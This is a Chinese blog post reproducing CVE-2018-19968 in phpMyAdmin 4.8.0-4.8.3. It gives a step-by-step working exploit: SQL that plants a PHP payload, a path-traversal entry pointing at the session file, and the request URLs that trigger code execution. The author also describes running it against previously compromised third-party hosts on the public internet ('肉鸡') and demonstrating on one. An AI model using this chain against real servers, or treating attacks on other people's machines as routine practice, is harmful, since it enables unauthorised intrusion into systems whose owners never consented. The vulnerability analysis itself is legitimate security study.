CVE-2018-19968 (phpMyAdmin任意文件包含/远程代码执行漏洞)复现
这个漏洞是上个月出的一个phpmyadmin的漏洞。今天花了一下午的时间来复现了这个漏洞,写一下自己复现该漏洞的整个过程及自己的一些心得体会。
下面是官方的一些介绍:
2018年12月07日 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。
Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。
通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。
我自己简单概括一下,就是有一个用户可控的数据表字段被替换后,可以当做命令执行了。
先说说我自己在复现过程中踩到的坑。看网上别人的复现文章中,给了一个在线测试的网站。
VulnSpy 已为大家提供在线 phpMyAdmin 环境地址:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1,点击又上角的START TO HACK
按钮可进行在线测试。
这个网站强烈推荐给大家。
不过在它的靶机里面,他试了很多次 都没能复现成功,不清楚是哪个地方出了问题。之后我又在公网随便找了些以前抓的肉鸡来复现,结果一下就成功了。。
这里为了方便,我还是找了一台肉鸡来演示(建议大家还是自己搭环境,linux的)
先登录到phpmyadmin的后台,执行下面的sql语句。
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT ‘<?php phpinfo(); ?>’;
就已经将我们要执行的命令写入到了数据表的字段中,但此时还没有在数据库foo中生成phpmyadmin的配置表。访问
http://******换成自己测试的地址******/chk_rel.php?fixall_pmadb=1&db=foo
接下来将篡改后的Transformation数据插入表pma__column_info
中:将sess_***中的***替换成你的会话ID,即COOKIE中phpMyAdmin的值
INSERT INTO `pma__column_info`SELECT
'1'
,
'foo'
,
'bar'
,
'baz'
,
'plop'
,
'plop'
,
'plop'
,
'plop'
,
'../../../../../../../../tmp/sess_***'
,
'plop'
;
这里一个快速看自己cookie的方法就是打开浏览器的开发者工具,f12即可。再刷新一下。
执行sql。
访问http://******换成自己测试的地址******/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
,如果利用成功将会自动包含含有恶意代码的SESSION文件。
命令执行成功!漏洞复现完成。
说一下自己的收获;
- 看已有的漏洞,永远不如亲自复现一遍。有些坑自己踩过了印象要深刻的多。写这篇文章时,我就将这个漏洞在不同的版本上复现了好几次。
- 刚开始复现漏洞时,有的地方真的是一脸懵逼,把漏洞代码反复看了几十遍,直到弄明白了漏洞成因,对一些不清楚的函数方法查找并记录下来,对自己以后的代码审计也会有很大帮助。
- 当不清楚根目录位置时,可用多个../拼接,多了不会报错。
微信赞赏支付宝赞赏
发表评论